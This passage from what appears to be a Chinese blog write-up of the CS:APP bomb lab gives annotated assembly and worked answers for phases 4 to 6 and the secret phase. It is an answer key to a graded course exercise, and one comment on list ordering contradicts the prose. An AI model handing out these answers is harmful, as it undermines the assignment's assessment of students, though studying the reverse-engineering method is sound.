class="line"></span><br><span class="line">  // mid &gt;= target -&gt; mid == target 结束递归</span><br><span class="line">  400ff9: 7d 0c                 jge    401007 &lt;func4+0x39&gt; // 如果 %ecx &gt;= %edi，跳转到 401007</span><br><span class="line">  </span><br><span class="line">  // mid &lt; target</span><br><span class="line">  400ffb: 8d 71 01              lea    0x1(%rcx),%esi // %esi = %rcx + 1 // low = mid + 1</span><br><span class="line">  400ffe: e8 cb ff ff ff        call   400fce &lt;func4&gt; // 递归调用 func4(mid + 1, high)</span><br><span class="line">  401003: 8d 44 00 01           lea    0x1(%rax,%rax,1),%eax // %eax = %rax * 2 + 1</span><br><span class="line"></span><br><span class="line">  401007: 48 83 c4 08           add    $0x8,%rsp // clean up</span><br><span class="line">  40100b: c3                    ret</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">// 对于 high = 14, low = 0, 二分查找输入的第一个数字，偏高 *2 + 1，偏低 *2 要求最后为 0</span><br><span class="line">000000000040100c &lt;phase_4&gt;:</span><br><span class="line">  40100c: 48 83 ec 18           sub    $0x18,%rsp // 分配 0x18</span><br><span class="line">  401010: 48 8d 4c 24 0c        lea    0xc(%rsp),%rcx // %rcx = 0xc num2</span><br><span class="line">  401015: 48 8d 54 24 08        lea    0x8(%rsp),%rdx // %rdx = 0x8 num1</span><br><span class="line">  40101a: be cf 25 40 00        mov    $0x4025cf,%esi // %esi = 0x4025cf // (gdb) x/s 0x4025cf -&gt; 0x4025cf: &quot;%d %d&quot;</span><br><span class="line">  40101f: b8 00 00 00 00        mov    $0x0,%eax // %eax = 0 读取到的数字个数</span><br><span class="line">  401024: e8 c7 fb ff ff        call   400bf0 &lt;__isoc99_sscanf@plt&gt; // 读取 %d %d 到 %rdx 和 %rcx</span><br><span class="line">  401029: 83 f8 02              cmp    $0x2,%eax // 比较读取到的数字个数和 2</span><br><span class="line">  40102c: 75 07                 jne    401035 &lt;phase_4+0x29&gt; // 数字不够，爆炸</span><br><span class="line">  40102e: 83 7c 24 08 0e        cmpl   $0xe,0x8(%rsp) // 比较 num1 和 0xe (14)</span><br><span class="line">  401033: 76 05                 jbe    40103a &lt;phase_4+0x2e&gt; // 小于等于 0xe，跳转到 40103a</span><br><span class="line">  401035: e8 00 04 00 00        call   40143a &lt;explode_bomb&gt; // 大于 0xe，爆炸</span><br><span class="line">  40103a: ba 0e 00 00 00        mov    $0xe,%edx // %edx = 0xe (14)</span><br><span class="line">  40103f: be 00 00 00 00        mov    $0x0,%esi // %esi = 0</span><br><span class="line">  401044: 8b 7c 24 08           mov    0x8(%rsp),%edi // %edi = num1</span><br><span class="line">  401048: e8 81 ff ff ff        call   400fce &lt;func4&gt;</span><br><span class="line">  40104d: 85 c0                 test   %eax,%eax // 0 比较 %eax</span><br><span class="line">  40104f: 75 07                 jne    401058 &lt;phase_4+0x4c&gt; // 不等于 0，爆炸</span><br><span class="line">  401051: 83 7c 24 0c 00        cmpl   $0x0,0xc(%rsp) // 比较 num2 和 0</span><br><span class="line">  401056: 74 05                 je     40105d &lt;phase_4+0x51&gt; // 等于 0，跳转到 40105d，不爆炸</span><br><span class="line">  401058: e8 dd 03 00 00        call   40143a &lt;explode_bomb&gt;</span><br><span class="line">  40105d: 48 83 c4 18           add    $0x18,%rsp // clean up</span><br><span class="line">  401061: c3                    ret</span><br></pre></td></tr></table></figure></details><h2 id="phase-5"><a class="markdownIt-Anchor" href="#phase-5"></a> phase 5</h2><p>phase 5 读取六个字符的字符串，然后取每个字符的低四位（一个 char 有 8 位），四位的取值范围是 0~15，将字符映射到 <code>0x4024b0</code> 所存的 <code>maduiersnfotvbylSo</code> 的对应字符，然后要求最后结果拼起来是 <code>0x40245e</code> 对应的 <code>flyers</code>。</p><details><summary> phase_5 注释 </summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">0000000000401062 &lt;phase_5&gt;:</span><br><span class="line">  401062:53                   push   %rbx</span><br><span class="line">  401063:48 83 ec 20          sub    $0x20,%rsp</span><br><span class="line">  401067:48 89 fb             mov    %rdi,%rbx // %rbx = %rdi // readline 的结果在 %rdi</span><br><span class="line">  40106a:64 48 8b 04 25 28 00 mov    %fs:0x28,%rax // %rax = canary</span><br><span class="line">  401071:00 00 </span><br><span class="line">  401073:48 89 44 24 18       mov    %rax,0x18(%rsp) // save canary to stack</span><br><span class="line">  401078:31 c0                xor    %eax,%eax // %eax = 0</span><br><span class="line">  40107a:e8 9c 02 00 00       call   40131b &lt;string_length&gt; // call string_length, %eax = length of input string</span><br><span class="line">  40107f:83 f8 06             cmp    $0x6,%eax // compare length with 6</span><br><span class="line">  401082:74 4e                je     4010d2 &lt;phase_5+0x70&gt; // jump to 4010d2 if length is 6</span><br><span class="line">  401084:e8 b1 03 00 00       call   40143a &lt;explode_bomb&gt; // if length is not 6, explode the bomb</span><br><span class="line">  401089:eb 47                jmp    4010d2 &lt;phase_5+0x70&gt; // jump to 4010d2</span><br><span class="line"></span><br><span class="line">  40108b:0f b6 0c 03          movzbl (%rbx,%rax,1),%ecx  // 取一个字节，零扩展到 %ecx // %ecx = input[rax]</span><br><span class="line">  40108f:88 0c 24             mov    %cl,(%rsp) // %cl -&gt; %rcx 的低 8 位，存到栈顶</span><br><span class="line">  401092:48 8b 14 24          mov    (%rsp),%rdx // 读取栈顶的值到 %rdx</span><br><span class="line">  401096:83 e2 0f             and    $0xf,%edx // %edx = %edx &amp; 0xf // 取低 4 位</span><br><span class="line">  401099:0f b6 92 b0 24 40 00 movzbl 0x4024b0(%rdx),%edx // %edx = 0x4024b0 + %rdx 的值 // 0x4024b0 是 maduiersnfotvbylSo</span><br><span class="line">  4010a0:88 54 04 10          mov    %dl,0x10(%rsp,%rax,1) // %dl -&gt; %rsp + %rax + 0x10 // %dl 是 %rdx 低八位</span><br><span class="line">  4010a4:48 83 c0 01          add    $0x1,%rax // %rax++</span><br><span class="line">  4010a8:48 83 f8 06          cmp    $0x6,%rax // compare %rax with 6</span><br><span class="line">  4010ac:75 dd                jne    40108b &lt;phase_5+0x29&gt; // if %rax != 6, jump back to 40108b to process the next character</span><br><span class="line"></span><br><span class="line">  // after process</span><br><span class="line">  4010ae:c6 44 24 16 00       movb   $0x0,0x16(%rsp) // 将 0x0 一字节存到 %rsp + 0x16，字符串结束符</span><br><span class="line">  4010b3:be 5e 24 40 00       mov    $0x40245e,%esi // %esi = &quot;flyers&quot;</span><br><span class="line">  4010b8:48 8d 7c 24 10       lea    0x10(%rsp),%rdi // %rdi = %rsp + 0x10</span><br><span class="line">  4010bd:e8 76 02 00 00       call   401338 &lt;strings_not_equal&gt; // 比较 </span><br><span class="line">  4010c2:85 c0                test   %eax,%eax // test %eax, %eax // if not equal, explode the bomb</span><br><span class="line">  4010c4:74 13                je     4010d9 &lt;phase_5+0x77&gt;</span><br><span class="line">  4010c6:e8 6f 03 00 00       call   40143a &lt;explode_bomb&gt;</span><br><span class="line">  4010cb:0f 1f 44 00 00       nopl   0x0(%rax,%rax,1)</span><br><span class="line">  4010d0:eb 07                jmp    4010d9 &lt;phase_5+0x77&gt;</span><br><span class="line">  4010d2:b8 00 00 00 00       mov    $0x0,%eax // 索引初始化为 0</span><br><span class="line">  4010d7:eb b2                jmp    40108b &lt;phase_5+0x29&gt; // 跳到循环开始</span><br><span class="line">  4010d9:48 8b 44 24 18       mov    0x18(%rsp),%rax</span><br><span class="line">  4010de:64 48 33 04 25 28 00 xor    %fs:0x28,%rax</span><br><span class="line">  4010e5:00 00 </span><br><span class="line">  4010e7:74 05                je     4010ee &lt;phase_5+0x8c&gt;</span><br><span class="line">  4010e9:e8 42 fa ff ff       call   400b30 &lt;__stack_chk_fail@plt&gt;</span><br><span class="line">  4010ee:48 83 c4 20          add    $0x20,%rsp</span><br><span class="line">  4010f2:5b                   pop    %rbx</span><br><span class="line">  4010f3:c3                   ret</span><br></pre></td></tr></table></figure></details><p>其中还有 canary，在 <code>phase_5</code> 的头尾，这些应该会在 attack lab 用到。</p><h2 id="phase-6"><a class="markdownIt-Anchor" href="#phase-6"></a> phase 6</h2><p>phase 6 要求输入六个不重复、范围在 1~6 的数字，将其逐个 <code>7 - n</code> 映射下，然后按照映射后的数字来重新组合链表，结果要求链表必须是递减的。</p><p>我觉得逻辑不是很难，不像上面的进入树的痕迹记录那样的 trick 让我眼前一新（也是记住了），但跳转太多、指令太多了，花了不少时间。</p><detials><summary> phase_6 注释 </summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">00000000004010f4 &lt;phase_6&gt;:</span><br><span class="line">  4010f4:41 56                push   %r14 // 压栈，下同</span><br><span class="line">  4010f6:41 55                push   %r13</span><br><span class="line">  4010f8:41 54                push   %r12</span><br><span class="line">  4010fa:55                   push   %rbp</span><br><span class="line">  4010fb:53                   push   %rbx</span><br><span class="line">  4010fc:48 83 ec 50          sub    $0x50,%rsp // 分配 0x50 空间</span><br><span class="line">  401100:49 89 e5             mov    %rsp,%r13 // %r13 = %rsp</span><br><span class="line">  401103:48 89 e6             mov    %rsp,%rsi // %rsi = %sp</span><br><span class="line">  401106:e8 51 03 00 00       call   40145c &lt;read_six_numbers&gt; // 六个数字存在 %rsi 指向的栈空间，从栈顶开始，0x0 ~ 0x18</span><br><span class="line">  40110b:49 89 e6             mov    %rsp,%r14 // %r14 = %rsp</span><br><span class="line">  40110e:41 bc 00 00 00 00    mov    $0x0,%r12d // %r12d = 0</span><br><span class="line"></span><br><span class="line">  // %r12d 是外层循环 init %r12d = 0, %r12d &lt; 6,%r12d++</span><br><span class="line">  // %ebx 是内层循环，init %ebx = %r12d (此时 %r12d 已经 +1 了), %ebx &gt; 6 (%ebx = 1~6), %ebx++</span><br><span class="line">  // 确保六个数字在 1～6 之间，且没有重复的数字</span><br><span class="line"></span><br><span class="line">  401114:4c 89 ed             mov    %r13,%rbp // %rbp = %r13</span><br><span class="line">  401117:41 8b 45 00          mov    0x0(%r13),%eax // %eax = *(%r13 + 0x0)</span><br><span class="line">  40111b:83 e8 01             sub    $0x1,%eax // %eax--</span><br><span class="line">  40111e:83 f8 05             cmp    $0x5,%eax // compare %eax with 5</span><br><span class="line">  401121:76 05                jbe    401128 &lt;phase_6+0x34&gt; // if %eax &lt;= 5, jump to 401128, else explode the bomb // %eax = 第 %r13 / 4 个数字 &lt;= 5 + 1 = 6 所有数字必须在 1～6 之间</span><br><span class="line">  401123:e8 12 03 00 00       call   40143a &lt;explode_bomb&gt;</span><br><span class="line">  401128:41 83 c4 01          add    $0x1,%r12d // %r12d++</span><br><span class="line">  40112c:41 83 fc 06          cmp    $0x6,%r12d // compare %r12d with 6</span><br><span class="line">  401130:74 21                je     401153 &lt;phase_6+0x5f&gt; // if %r12d == 6, jump to 401153 // 验证完了，跳出循环</span><br><span class="line">  401132:44 89 e3             mov    %r12d,%ebx // %ebx = %r12d</span><br><span class="line"></span><br><span class="line">  401135:48 63 c3             movslq %ebx,%rax // %rax = (long) %ebx // 将 %ebx 扩展到 64 位（带符号）</span><br><span class="line">  401138:8b 04 84             mov    (%rsp,%rax,4),%eax // %eax = *(%rsp + %rax * 4) // 取出输入的第 %r12d 个数</span><br><span class="line">  40113b:39 45 00             cmp    %eax,0x0(%rbp) // compare %eax with *(%rbp + 0x0) // 第 %r12d 和 第 %r13 / 4 个数比较，保证不相等（与前一个数字相比）</span><br><span class="line">  40113e:75 05                jne    401145 &lt;phase_6+0x51&gt; // if not equal, jump to 401145, else explode the bomb</span><br><span class="line">  401140:e8 f5 02 00 00       call   40143a &lt;explode_bomb&gt;</span><br><span class="line">  401145:83 c3 01             add    $0x1,%ebx // %ebx++</span><br><span class="line">  401148:83 fb 05             cmp    $0x5,%ebx // compare %ebx with 5</span><br><span class="line">  40114b:7e e8                jle    401135 &lt;phase_6+0x41&gt; // if %ebx &lt;= 5, jump to 401135</span><br><span class="line">  40114d:49 83 c5 04          add    $0x4,%r13 // %r13 += 4  // %ebx = 6, 且与后面的数字比较完毕，%r13 指向下一个数字</span><br><span class="line">  401151:eb c1                jmp    401114 &lt;phase_6+0x20&gt; // jump back to the beginning of the loop</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">  // 将六个数字设置为 7 - num，存到栈上，准备后续构建链表</span><br><span class="line">  401153:48 8d 74 24 18       lea    0x18(%rsp),%rsi // %rsi = %rsp + 0x18 // %rsi 指向第六个数字后面的地址</span><br><span class="line">  401158:4c 89 f0             mov    %r14,%rax // %rax = %r14</span><br><span class="line">  40115b:b9 07 00 00 00       mov    $0x7,%ecx // %ecx = 7</span><br><span class="line"></span><br><span class="line">  401160:89 ca                mov    %ecx,%edx // %edx = %ecx</span><br><span class="line">  401162:2b 10                sub    (%rax),%edx // %edx = %edx - *(%rax)</span><br><span class="line">  401164:89 10                mov    %edx,(%rax) // 将结果存回 %rax 指向的位置 // current_node_value = 7 - current_node_value</span><br><span class="line">  401166:48 83 c0 04          add    $0x4,%rax // %rax += 4</span><br><span class="line">  40116a:48 39 f0             cmp    %rsi,%rax // compare %rax with %rsi</span><br><span class="line">  40116d:75 f1                jne    401160 &lt;phase_6+0x6c&gt; // if not equal, jump back to 401160</span><br><span class="line">  40116f:be 00 00 00 00       mov    $0x0,%esi // %esi = 0</span><br><span class="line">  401174:eb 21                jmp    401197 &lt;phase_6+0xa3&gt;</span><br><span class="line"></span><br><span class="line">  // %ecx &gt; 1，开始在链表中寻找对应的 node</span><br><span class="line">  401176:48 8b 52 08          mov    0x8(%rdx),%rdx // %rdx = *(%rdx + 0x8) // 取当前 node 的后 8 bytes next 指针</span><br><span class="line">  40117a:83 c0 01             add    $0x1,%eax // %eax++ // id ++</span><br><span class="line">  40117d:39 c8                cmp    %ecx,%eax // compare %eax with %ecx // 用 id 和 读取的数字比较 </span><br><span class="line">  40117f:75 f5                jne    401176 &lt;phase_6+0x82&gt; // if not equal, jump back to 401176 // 不相等，继续读取链表中的下一个 8 bytes</span><br><span class="line">  401181:eb 05                jmp    401188 &lt;phase_6+0x94&gt; // jump to 401188 // 找到相等的，说明已经取到第 node，跳出循环</span><br><span class="line">  401183:ba d0 32 60 00       mov    $0x6032d0,%edx // %edx = 0x6032d0 (node1)</span><br><span class="line"></span><br><span class="line">  // 0x6032d0 &lt;node1&gt;:       0x000000010000014c      0x00000000006032e0</span><br><span class="line">  // 0x6032e0 &lt;node2&gt;:       0x00000002000000a8      0x00000000006032f0</span><br><span class="line">  // 0x6032f0 &lt;node3&gt;:       0x000000030000039c      0x0000000000603300</span><br><span class="line">  // 0x603300 &lt;node4&gt;:       0x00000004000002b3      0x0000000000603310</span><br><span class="line">  // 0x603310 &lt;node5&gt;:       0x00000005000001dd      0x0000000000603320</span><br><span class="line">  // 0x603320 &lt;node6&gt;:       0x00000006000001bb      0x0000000000000000</span><br><span class="line"></span><br><span class="line">  // node1: 332</span><br><span class="line">  // node2: 168</span><br><span class="line">  // node3: 924</span><br><span class="line">  // node4: 691</span><br><span class="line">  // node5: 477</span><br><span class="line">  // node6: 443</span><br><span class="line"></span><br><span class="line">  // sorted: 924 691 477 443 332 168</span><br><span class="line">  // 3 4 5 6 1 2</span><br><span class="line">  // 7 - num: 4 3 2 1 6 5</span><br><span class="line"></span><br><span class="line">  // 找到了 %ecx 对应的 node，将 node 的值存到栈 0x20 开始的位置上，每 8 bytes 存一个 node 的值，%rsi 每次 += 4</span><br><span class="line">  401188:48 89 54 74 20       mov    %rdx,0x20(%rsp,%rsi,2) // 将 %rdx 存到 %rsp + %rsi * 2 + 0x20</span><br><span class="line">  40118d:48 83 c6 04          add    $0x4,%rsi // %rsi += 4</span><br><span class="line">  401191:48 83 fe 18          cmp    $0x18,%rsi // compare %rsi with 0x18</span><br><span class="line">  401195:74 14                je     4011ab &lt;phase_6+0xb7&gt; // if %rsi == 0x18, jump to 4011ab // 存储了六个 node 的值，跳出循环，末尾后是 0x20 + 0x18 = 0x38</span><br><span class="line"></span><br><span class="line">  // 开始提取变换后的数字对应的 node 的前 8 bytes 放到链表里面，准备后续比较</span><br><span class="line">  401197:8b 0c 34             mov    (%rsp,%rsi,1),%ecx // %ecx = *(%rsp + %rsi) // 取出输入的第 %rsi 个数 // 跳转到这里时候，40116f 将 %rsi 初始化为 0</span><br><span class="line">  40119a:83 f9 01             cmp    $0x1,%ecx // compare %ecx with 1</span><br><span class="line">  40119d:7e e4                jle    401183 &lt;phase_6+0x8f&gt; // if %ecx &lt;= 1, jump to 401183</span><br><span class="line">  40119f:b8 01 00 00 00       mov    $0x1,%eax // %eax = 1 // %ecx &gt; 1, 读取到的数字大于 1</span><br><span class="line">  4011a4:ba d0 32 60 00       mov    $0x6032d0,%edx // %edx = 0x6032d0 (node1)</span><br><span class="line">  4011a9:eb cb                jmp    401176 &lt;phase_6+0x82&gt;</span><br><span class="line"></span><br><span class="line">  // 0x20 开始是 node 指针数组</span><br><span class="line"></span><br><span class="line">  4011ab:48 8b 5c 24 20       mov    0x20(%rsp),%rbx // %rbx = *(%rsp + 0x20) // 列表头的值</span><br><span class="line">  4011b0:48 8d 44 24 28       lea    0x28(%rsp),%rax // %rax = %rsp + 0x28 // %rax 指向存储 node 的值的数组的第二个元素的地址</span><br><span class="line">  4011b5:48 8d 74 24 50       lea    0x50(%rsp),%rsi // %rsi = %rsp + 0x50 // 栈尾</span><br><span class="line">  4011ba:48 89 d9             mov    %rbx,%rcx // %rcx = %rbx</span><br><span class="line"></span><br><span class="line">  4011bd:48 8b 10             mov    (%rax),%rdx // %rdx = *(%rax) // 取出下一个 node 的地址</span><br><span class="line">  4011c0:48 89 51 08          mov    %rdx,0x8(%rcx) // *(%rcx + 0x8) = %rdx // 将下一个 node 的地址存到第一个 node 的 next 指针上</span><br><span class="line">  4011c4:48 83 c0 08          add    $0x8,%rax // %rax += 0x8 // %rax 指向列表中下一个 node 的地址的地址</span><br><span class="line">  4011c8:48 39 f0             cmp    %rsi,%rax // compare %rax with %rsi // 如果 %rax == %rsi，说明已经处理完了六个 node，跳出循环</span><br><span class="line">  4011cb:74 05                je     4011d2 &lt;phase_6+0xde&gt; // if %rax == %rsi, jump to 4011d2</span><br><span class="line">  4011cd:48 89 d1             mov    %rdx,%rcx // %rcx = %rdx // %rcx 设置为下一个 node 的地址，迭代处理</span><br><span class="line">  4011d0:eb eb                jmp    4011bd &lt;phase_6+0xc9&gt; // jump back to 4011bd</span><br><span class="line"></span><br><span class="line">  4011d2:48 c7 42 08 00 00 00 movq   $0x0,0x8(%rdx) // *(%rdx + 0x8) = 0 // 现在 %rdx 是最后一个 node 的地址，将最后一个 node 的 next 指针设置为 0，链表构建完成</span><br><span class="line">  4011d9:00 </span><br><span class="line"></span><br><span class="line">  // 保证链表中的 node 的值是递增的，否则爆炸</span><br><span class="line">  4011da:bd 05 00 00 00       mov    $0x5,%ebp // %ebp = 5</span><br><span class="line"></span><br><span class="line">  4011df:48 8b 43 08          mov    0x8(%rbx),%rax // %rax = *(%rbx + 0x8) // 列表中第二个 node 的地址</span><br><span class="line">  4011e3:8b 00                mov    (%rax),%eax // %eax = *(%rax) // 取出第二个 node 的值</span><br><span class="line">  4011e5:39 03                cmp    %eax,(%rbx) // compare %eax with *(%rbx) // 将第二个 node 的值和第一个 node 的值比较</span><br><span class="line">  4011e7:7d 05                jge    4011ee &lt;phase_6+0xfa&gt; // if %eax &gt;= *(%rbx), jump to 4011ee // 如果第二个 node 的值 &gt;= 第一个 node 的值，不爆炸</span><br><span class="line">  4011e9:e8 4c 02 00 00       call   40143a &lt;explode_bomb&gt; // else explode the bomb // 如果第二个 node 的值 &lt; 第一个 node 的值，爆炸</span><br><span class="line"></span><br><span class="line">  4011ee:48 8b 5b 08          mov    0x8(%rbx),%rbx // %rbx = *(%rbx + 0x8) // %rbx 指向列表中的第二个 node，准备下一轮比较</span><br><span class="line">  4011f2:83 ed 01             sub    $0x1,%ebp // %ebp--</span><br><span class="line">  4011f5:75 e8                jne    4011df &lt;phase_6+0xeb&gt; // jump back to 4011df // 如果 %ebp != 0，继续比较下一个 node 的值和当前 node 的值，直到比较完了五次（六个 node 之间的比较）</span><br><span class="line">  4011f7:48 83 c4 50          add    $0x50,%rsp // clean up</span><br><span class="line">  4011fb:5b                   pop    %rbx</span><br><span class="line">  4011fc:5d                   pop    %rbp</span><br><span class="line">  4011fd:41 5c                pop    %r12</span><br><span class="line">  4011ff:41 5d                pop    %r13</span><br><span class="line">  401201:41 5e                pop    %r14</span><br><span class="line">  401203:c3                   ret</span><br></pre></td></tr></table></figure></detials><h2 id="secret-phase"><a class="markdownIt-Anchor" href="#secret-phase"></a> secret phase</h2><blockquote><p><code>read_line</code> 会将输入都存入一个数组里</p></blockquote><p>需要在 phase_4 的末尾增加一个 <code>DrEvil</code> 来触发 secret_phase。</p><p>secret_phase 要求传入一个数字，在给定的二叉树中查找这个数字，和 phase_4 一样记录痕迹，要求痕迹为 2（实际上就是 000…010）</p><p>只需要按照这个树找到任意符合的路径就可以了（左右/左右左）</p><p>答案可以是 20 和 22。</p><detial><summary> secret_phase </summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">// node: [0x8 value][0x8 left][0x8 right]</span><br><span class="line"></span><br><span class="line">// 0x6030f0 &lt;n1&gt;:          0x000024      0x603110</span><br><span class="line">// 0x603100 &lt;n1+16&gt;:       0x603130      0x000000</span><br><span class="line"></span><br><span class="line">// 0x603110 &lt;n21&gt;:         0x000008      0x603190</span><br><span class="line">// 0x603120 &lt;n21+16&gt;:      0x603150      0x000000</span><br><span class="line"></span><br><span class="line">// 0x603130 &lt;n22&gt;:         0x000032      0x603170</span><br><span class="line">// 0x603140 &lt;n22+16&gt;:      0x6031b0      0x000000</span><br><span class="line"></span><br><span class="line">// 0x603150 &lt;n32&gt;:         0x000016      0x603270</span><br><span class="line">// 0x603160 &lt;n32+16&gt;:      0x603230      0x000000</span><br><span class="line"></span><br><span class="line">// 0x603170 &lt;n33&gt;:         0x00002d      0x6031d0</span><br><span class="line">// 0x603180 &lt;n33+16&gt;:      0x603290      0x000000</span><br><span class="line"></span><br><span class="line">// 0x603190 &lt;n31&gt;:         0x000006      0x6031f0</span><br><span class="line">// 0x6031a0 &lt;n31+16&gt;:      0x603250      0x000000</span><br><span class="line"></span><br><span class="line">// 0x6031b0 &lt;n34&gt;:         0x00006b      0x603210</span><br><span class="line">// 0x6031c0 &lt;n34+16&gt;:      0x6032b0      0x000000</span><br><span class="line"></span><br><span class="line">// 0x6031d0 &lt;n45&gt;:         0x000028      0x000000</span><br><span class="line">// 0x6031e0 &lt;n45+16&gt;:      0x000000      0x000000</span><br><span class="line"></span><br><span class="line">// 0x6031f0 &lt;n41&gt;:         0x000001      0x000000</span><br><span class="line">// 0x603200 &lt;n41+16&gt;:      0x000000      0x000000</span><br><span class="line"></span><br><span class="line">// 0x603210 &lt;n47&gt;:         0x000063      0x000000</span><br><span class="line">// 0x603220 &lt;n47+16&gt;:      0x000000      0x000000</span><br><span class="line"></span><br><span class="line">// 0x603230 &lt;n44&gt;:         0x000023      0x000000</span><br><span class="line">// 0x603240 &lt;n44+16&gt;:      0x000000      0x000000</span><br><span class="line"></span><br><span class="line">// 0x603250 &lt;n42&gt;:     